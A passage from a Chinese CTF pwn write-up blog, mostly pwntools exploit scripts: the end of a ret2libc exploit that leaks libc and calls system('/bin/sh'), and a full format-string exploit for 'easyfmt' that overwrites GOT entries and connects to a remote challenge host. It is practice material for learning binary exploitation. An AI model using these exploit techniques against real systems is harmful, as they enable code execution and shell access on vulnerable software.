--raw " + filename).readlines()[0 ].split(' ' )) def exp (host, rce=False) : if rce: one_gadget = get_one_gadget(libc.path) offset = 140 gee = 0x08048888 payload = flat([ 'a' *offset, elf.plt['write' ], gee, 1 , elf.got['__libc_start_main' ], 4 ]) ru("\n\n" ) sl(payload) while 1 : temp = io.recvline() print temp[0 ] if temp[0 ] in '.*IW\x1b' : pass else : print("recv" + temp) print("get" ) break addr = u32(r(4 )) lg("addr" , addr) from LibcSearcher import * obj = LibcSearcher("__libc_start_main" , addr) libc_base = addr - obj.dump('__libc_start_main' ) sys_addr = libc_base + obj.dump('system' ) bin_sh = libc_base + obj.dump('str_bin_sh' ) payload = flat([ 'a' *offset, sys_addr, gee, bin_sh ]) sl(payload) sl("cat *flag*" ) print(rp()) if __name__ == '__main__' : exp(host,)
interpreter-200 变态题目,exp都不想抄,算了
house of grey easyfmt 拿来尝试pwntools的好题目
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 from pwn import *local = 0 link = '159.138.137.79:57797' host,port = map(str.strip, link.split(':' )) if link != '' else ("" ,0 ) context.log_level = 'debug' context.terminal = ['mate-terminal' ,'--geometry=94x60--10-26' ,'--hide-menubar' , '-x' ,'sh' ,'-c' ,] exe = './easyfmt' context.binary = exe elf = ELF(exe) libc = elf.libc if local: io = process(exe) else : io = remote(host,port) s = lambda data : io.send(str(data)) sa = lambda delim,data : io.sendafter(str(delim), str(data)) sl = lambda data : io.sendline(str(data)) sla = lambda delim,data : io.sendlineafter(str(delim), str(data)) r = lambda numb=4096 : io.recv(numb) rl = lambda : io.recvline().strip() ru = lambda delim,drop=True : io.recvuntil(delim, drop) rg = lambda regex : io.recvregex(regex) rp = lambda timeout=1 : io.recvrepeat(timeout) uu32 = lambda data : u32(data.ljust(4 , '\x00' )) uu64 = lambda data : u64(data.ljust(8 , '\x00' )) lg = lambda s,addr : io.success('\033[1;31;40m%20s--> 0x%x\033[0m' %(s,addr)) ga = lambda job="" : gdb.attach(io, job) if local else 0 ia = lambda : io.interactive() def debug (addr,PIE=True) : if PIE: text_base = int(os.popen("pmap {}| awk '{{print $1}}'" .format(io.pid)).readlines()[1 ], 16 ) gdb.attach(io,'b *{}' .format(hex(text_base+addr))) else : gdb.attach(io,"b *{}" .format(hex(addr))) def get_one_gadget (filename) : try : import subprocess except Exception as e: print("subprocess not install" ) exit(0 ) return map(int, subprocess.check_output(['one_gadget' , '--raw' , filename]).split(' ' )) def exp (host, rce=False) : if rce: one_gadget = get_one_gadget(libc.path) from ctypes import cdll LoadDll = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6" ) LoadDll.srand(LoadDll.time(0 )) sl(LoadDll.rand()%5 ) ru("slogan: " ) payload = fmtstr_payload( 8 , {0x0000000000601060 :0x0000000000400982 }, 0 , write_size='byte' ) sl(payload) ru("slogan: \x00" ) sl("%10$sBBB" + p64(elf.got['__libc_start_main' ])) leak_addr = uu64(r(6 )) lg("libc" , leak_addr) ru("slogan: \x00" ) try : from LibcSearcher import * except Exception as e: print("LibcSearcher not install" ) exit(0 ) obj = LibcSearcher("__libc_start_main" ,leak_addr) libc_base = leak_addr - obj.dump("__libc_start_main" ) system_addr = libc_base + obj.dump("system" ) bin_sh_addr = libc_base + obj.dump("str_bin_sh" ) payload = fmtstr_payload( 10 , {elf.got['printf' ]: system_addr}, 0 , write_size='byte' ) print(payload) sl(payload) ia() if __name__ == '__main__' : while True : try : exp(host,) break except Exception as e: print(e) io.close() io = remote(host,port)
全用pwntools打就完事了…那个伪随机绕不过,爆破吧,我的libc版本没下下来,本地可以绕过
总结 暂时告一段落,发觉刷了好长一段时间,都全是栈题,堆题没有几个。。。
本文作者 :NoOne本文地址 : https://noonegroup.xyz/posts/c3e0c46b/ 版权声明 :转载请注明出处!